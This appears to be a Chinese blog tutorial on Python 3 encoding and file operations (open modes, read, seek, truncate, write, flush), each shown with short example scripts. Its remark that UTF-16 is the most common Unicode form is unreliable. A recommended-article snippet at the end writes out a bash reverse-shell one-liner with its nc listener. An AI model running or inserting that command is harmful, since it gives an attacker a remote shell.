1. 字符编码与转码

需知:

1.在python3默认编码是unicode

2.unicode 分为 utf-32(占4个字节),utf-16(占两个字节),utf-8(占1-4个字节), so utf-16就是现在最常用的unicode版本, 不过在文件里存的还是utf-8,因为utf8省空间

3.在py3中encode,在转码的同时还会把string 变成bytes类型,decode在解码的同时还会把bytes变回string

  1. import sys
  2. print(sys.getdefaultencoding())
  3.  
  4. msg = "我爱北京天安门"
  5. #msg_gb2312 = msg.decode("utf-8").encode("gb2312")
  6. msg_gb2312 = msg.encode("gb2312") #默认就是unicode,不用再decode,喜大普奔
  7. gb2312_to_unicode = msg_gb2312.decode("gb2312")
  8. gb2312_to_utf8 = msg_gb2312.decode("gb2312").encode("utf-8")
  9.  
  10. print(msg)
  11. print(msg_gb2312)
  12. print(gb2312_to_unicode)
  13. print(gb2312_to_utf8)

2. 文件操作

  对文件操作流程

  1. 打开文件,得到文件句柄并赋值给一个变量
  2. 通过句柄对文件进行操作
  3. 关闭文件

打开文件的模式有:

  • r,只读模式(默认)。
  • w,只写模式。【不可读;不存在则创建;存在则删除内容;】
  • a,追加模式。【可读;   不存在则创建;存在则只追加内容;】

"+" 表示可以同时读写某个文件

  • r+,可读写文件。【可读;可写;可追加】
  • w+,写读
  • a+,同a

"U"表示在读取时,可以将 \r \n \r\n自动转换成 \n (与 r 或 r+ 模式同使用)

  • rU
  • r+U

"b"表示处理二进制文件(如:FTP发送上传ISO镜像文件,linux可忽略,windows处理二进制文件时需标注)

  • rb
  • wb
  • ab

读取文件

读取文件read()方法

  1. ff=open(r'G:\新建文本文档.txt')#打开文件
  2. print("文件名为:",ff.name)#输出文件的名称
  3. print(ff.read(6))#读取前6个字符
  4. #如果想读取整个文本内容,可以不指定size的值或将size的值设置为负数
  5. print(ff.read())

逐行读取readline()方法

  1. fu = open(r'G:\newtest.txt')#打开文件
  2. print('文件名称为:',fu.name)#输出文件名称
  3. line=fu.readline()
  4. print("读取第一行 %s" % (line))
  5. print("读取的字符串为:%s" % fu.readline(5))
  6. fu.close()#关闭文件

返回文件各行内容的列表readlines()方法

  1. #readlines()方法用于读取所有行并返回列表。
  2.  
  3. #fileobject.readlines(size),size为从文件中读取的字符数
  4.  
  5. fy=open(r'G:\newtest.txt')
  6. print("文件名称为:",fy.name)
  7. line=fy.readlines()
  8. print("读取的文本数据为:%s" % line)
  9. fy.close()

返回文件的当前位置tell()方法

  1. #tell()方法返回文件的当前位置,即文件指针当前位置。 fileobject.tell()
  2. fu=open(r'G:\newtest3.txt')
  3. print("文件名称为:",fu.name)
  4. line=fu.readline()
  5. print("当前数据为:%s" % (line))
  6. post=fu.tell()
  7. print("当前位置为:%s" % (post))
  8. fu.close()

截断文件truncate()方法

  1. #truncate()方法用于截断文件。fileobject.truncate([size]),size为可选参数,如果指
  2. #定size,则表示截断文件为size个字符。如果没有指定size,则重置到当前位置。
  3. fu=open(r'G:\newtest3.txt','r+')
  4. print("文件名称为:",fu.name)
  5. line=fu.readline()
  6. print("当前获取地数据为: %s"%(line))
  7. fu.truncate()#从当前位置截断文件
  8. line1=fu.readlines()
  9. print("当前文本数据为:%s" % (line1))
  10. fu.close()
  1. #用户也可以指定需要截断的字符数
  2. fu=open(r'G:\newtest3.txt','r+')
  3. print("文件名称为:",fu.name)
  4. fu.truncate(6)#截断6字符
  5. line1=fu.read()
  6. print("当前文本数据为:%s" % (line1))
  7. fu.close()

设置文件当前位置seek()方法

  1. '''
  2. seek()方法用于移动文件读取指针到指定位置。 fileobject.seek(offset[,whence]) offset表示开始的偏移量,也就是需要移动偏移的字节数。whence为可选参数,表示从哪个 位置开始偏移,默认值为0,表示从文件的开始算起;若为1则表示从当前位置算起,若为2,则表示 从文件末尾算起。
  3. '''
  4.  
  5. fu=open(r'G:\newtest3.txt','r+')
  6. print("文件名称为:",fu.name)
  7. line=fu.readline()
  8. print("当前文本数据为:%s" % (line))
  9. fu.seek(0,0)#重新设置文件读取指针到开头
  10. line1=fu.readline()
  11. print("当前文本数据为:%s" % (line1))
  12. print()
  13. fu.close()

写入文件

write()

  1. '''
  2. write()方法用于向文件中写入指定字符串。在文件关闭前或缓冲区刷新前,字符串内容存储在 缓冲区中,此时在文件中看不到写入的内容。 write()方法 fileobject.write([str]),str为需要写入文件中的字符串。
  3. '''
  4.  
  5. #将字符串的内容添加到test.txt文件中
  6. fu=open(r'G:\test4.txt','r+')
  7. print("文件名称为:",fu.name)
  8. str='古木无人径,深山何处钟。'
  9. fu.seek(0,2)#设置位置为文件末尾处
  10. line=fu.write(str)
  11. fu.seek(0,0)#设置位置为文件开始处
  12. print("新文本数据为:%s" %fu.read())
  13. fu.close()
  1. #如果用户需要换行输入内容,可以使用"\n"
  2. #将字符串的内容添加到test.txt文件中
  3. fu=open(r'G:\test4.txt','r+')
  4. print("文件名称为:",fu.name)
  5. str='\n冷风吹吹,吹呀吹'
  6. fu.seek(0,2)#设置位置为文件末尾处
  7. line=fu.write(str)
  8. fu.seek(0,0)#设置位置为文件开始处
  9. print("新文本数据为:%s" %fu.read())
  10. fu.close()

writelines()

  1. '''
  2. writelines()方法可以向文件写入一个序列字符串列表,如果需要换行则要加入每一行的换行符。 file.writelines([str]),str为写入文件的字符串序列
  3. '''
  4. fu=open(r'G:\test5.txt','w')#打开文件
  5. print("文件名称为:",fu.name)
  6. sq=['春天的风\n','能否吹来夏天的雨\n','秋天的月\n','能否照亮冬天的雪\n',
  7. '夜空的星\n','能否落向晨曦的海\n']
  8. fu.writelines(sq)
  9. fu.close()
  10. fu=open(r'G:\test5.txt')
  11. print(fu.read())
  12. fu.close()

修改文件内容

  1. ff=open(r'G:\file\test6.txt','w')
  2. print("文件名称为:",ff.name)
  3. sd=['春天的风\n','能否吹来夏天的雨\n','秋天的月\n','能否照亮冬天的雪\n',
  4. '夜空的星\n','能否落向晨曦的海\n']
  5. ff.writelines(sd)#给test6.txt文件写入sd列表数据
  6. ff.close()
  7. ff=open(r'G:\file\test6.txt')
  8. lines=ff.readlines()
  9. print("原始文本数据为",lines)
  10. ff.close()
  11. lines[1]='你只是一个过客。\n'
  12. ff=open(r'G:\file\test6.txt','w')
  13. ff.writelines(lines)
  14. ff.close()
  15. ff=open(r'G:\file\test6.txt')
  16. print("修改后的文本数据为:%s" %(ff.read()))

附加到文件

  1. #创建一个文本文件test7.txt,并写入内容"煮豆燃豆萁,豆在釜中泣"
  2. ff=open(r'G:\file\test7.txt','w')
  3. st="煮豆燃豆萁,豆在釜中泣。"
  4. '''
  5. 用户可以将一个文件的内容全部附加到另一个文件中。
  6. '''
  7.  
  8. ff.write(st)
  9. ff.close()
  10.  
  11. #创建一个文本文件test8.txt,并写入内容"本是同根生,相煎何太急?"
  12. ss=open(r'G:\file\test8.txt','w')
  13. tt="本是同根生,相煎何太急?"
  14. ss.write(tt)
  15. ss.close()
  16.  
  17. #这里将test8的内容先赋值给变量content
  18. file=open(r'G:\file\test8.txt','r')
  19. coutent = file.read()
  20. file.close()
  21. #然后以追加模式打开test7.txt文件,将变量coutent
  22. fileadd=open(r'G:\file\test7.txt','a')
  23. fileadd.write(coutent)
  24. fileadd.close()
  25. #读取test7.txt的文本内容
  26. file7=open(r'G:\file\test7.txt')
  27. print("test7.txt文本内容:",file7.read())
  28. file7.close()

关闭文件

  1. close()方法用于关闭一个已经打开的文件。关闭后的文件不可以在进行读写操作, 否则会触发ValueError错误。close()方法允许调用多次。 fileobject.close()
  2.  
  3. file对象被引用到操作另一个文件时,Python会自动关闭之前的file对象。

刷新文件

  1. '''
  2. flush()方法是用来刷新缓冲区的,即将缓冲区中的数据立即写入文件,同时清空缓冲区, 不需要被动地等待输出缓冲区重写 一般情况下,文件关闭后会自动刷新缓冲区,但是有时需要在关闭前刷新空缓冲区, 这是就可以调用flush()方法。 fileobject.flush()
  3. '''
  4. fu=open(r'G:\file\test8.txt','r+')
  5. print("文件名称:",fu.name)
  6. str="看那轻飘飘的衣摆,趁擦肩把裙掀"
  7. fu.write(str)
  8. fu.flush()
  9. fu.close()

Day2-Python3基础-文件操作的更多相关文章

  1. python3.7 文件操作

    #!/usr/bin/env python __author__ = "lrtao2010" #python3.7 文件操作 # r 只读,默认打开方式,当文件不存在时会报错 # ...

  2. 小白学 Python(18):基础文件操作

    人生苦短,我选Python 前文传送门 小白学 Python(1):开篇 小白学 Python(2):基础数据类型(上) 小白学 Python(3):基础数据类型(下) 小白学 Python(4):变 ...

  3. python基础-文件操作

    一.文件操作 打开文件时,需要指定文件路径和以何等方式打开文件,打开后,即可获取该文件句柄,日后通过此文件句柄对该文件操作. 打开文件的模式有: r ,只读模式[默认模式,文件必须存在,不存在则抛出异 ...

  4. Python基础--文件操作和集合

    这篇博客来说一下python对文件的操作. 对文件的操作分三步: 1.打开文件获取文件的句柄,句柄就理解为这个文件 2.通过文件句柄操作文件 3.关闭文件. 现有以下文件file.txt: 我们哭了 ...

  5. Python基础(六) 基础文件操作

    今天学习python下对文件的基础操作,主要从open函数.File对象的属性.文件定位.简单操作.举例说明几个步骤开始学习,下面开始进入今天的主题: 一.open函数介绍 open函数主要是打开一个 ...

  6. Python 基础 文件操作

    字符串与字节之间的转换 # utf-8 一个汉字 占三个字节 # gbk 一个汉字 占两个字节 # 字符串转换成字节 print(bytes('汉字', encoding='utf-8'))print ...

  7. 【python3之文件操作】

    一.文件操作 1.文件处理的流程 1)打开文件,得到文件句柄并赋值给一个变量 2)通过句柄对文件进行操作 3)关闭文件 例如: f = open('chenli.txt') #打开文件 first_l ...

  8. python基础-文件操作(10)

    一.什么是文件 等等这些都叫做文件,各种格式的.但不仅仅限制于这些. 二.文件的作用 大家应该听说过一句话:“好记性不如烂笔头”. 不仅人的大脑会遗忘事情,计算机也会如此,比如一个程序在运行过程中用了 ...

  9. Python基础————文件操作

    文件操作 4.1 文件基本操作 obj = open('路径',mode='模式',encoding='编码') # 表示要干嘛 读 还是写 obj.write() #写什么内容 obj.read() ...

随机推荐

  1. 【Kubernetes】容器集群管理常用命令笔记

    一.集群部署-查询集群状态 ①查询k8s master各组件健康状态: kubectl get componentstatus ②查询k8s node健康状态: kubectl get node 二. ...

  2. Avram Joel Spolsky给计算机系学生的建议

    Avram Joel Spolsky给计算机系的学生给了如下建议:     (1)毕业前练好写作     (2)毕业前学好C语言     (3)毕业前学好微观经济学     (4)不要因为枯燥就不选修 ...

  3. Vijos1774 机器翻译 [模拟]

    1.题意:给定一段长度为N个单词的文章(一个单词用一个非负整数表示),可以使用一个容量为M个元素的容器.你的任务是使用字典的帮助翻译文章,遇到一个单词,查询之后将此单词的释义放入容器中,下次遇到时若此 ...

  4. 反弹shell理解

    靶机 bash -i >& /dev/tcp/[ip]/[port1] 0>&1 攻击机 nc -vvlp [port1] 靶机中把 >&输成 > &a ...

  5. Kafka2.4发布——新特性介绍(附Java Api Demo代码)

    新功能 允许消费者从最近的副本进行获取 为 Consumer Rebalance Protocol 增加对增量协同重新均衡(incremental cooperative rebalancing)的支 ...

  6. DEVOPS技术实践_15:使用Docker作为Jenkins的slave

    前面实验了使用docker搭建一个jenkins,下面实验使用docker作为jenkins的slave节点 1. 环境准备 一个运行Docker的主机或者群集 Jenkins应该能访问互联网,方便安 ...

  7. Linux 学习笔记 4 创建、复制、移动、文件的基本操作

    写在前面 通过上一节的学习,我们基本的了解到在Linux 里面对于设备的挂载.卸载以及设备存在的目录.挂载目录.都有了一个基本的了解 本节主要了解文件.以及目录的相关操作,比如文件.目录的创建.以及删 ...

  8. 详解js的bind、call、apply

    详解js的bind.call.apply 说明 虽然bind.call.apply都是js很基础的一块知识,但是我从未认真总结过这三者的区别. 由于公司后端是用的微服务架构,又没有中间层对接,导致前端 ...

  9. JVM探秘:Java内存区域

    本系列笔记主要基于<深入理解Java虚拟机:JVM高级特性与最佳实践 第2版>,是这本书的读书笔记. 概述 Java 虚拟机为程序员分担了很多内存管理的工作,不再像 C/C++ 那样容易出 ...

  10. JDK1.8中的HashMap实现

    1.HashMap概述 在JDK1.8之前,HashMap采用数组+链表实现,即使用链表处理冲突,同一hash值的节点都存储在一个链表里.但是当位于一个桶中的元素较多,即hash值相等的元素较多时,通 ...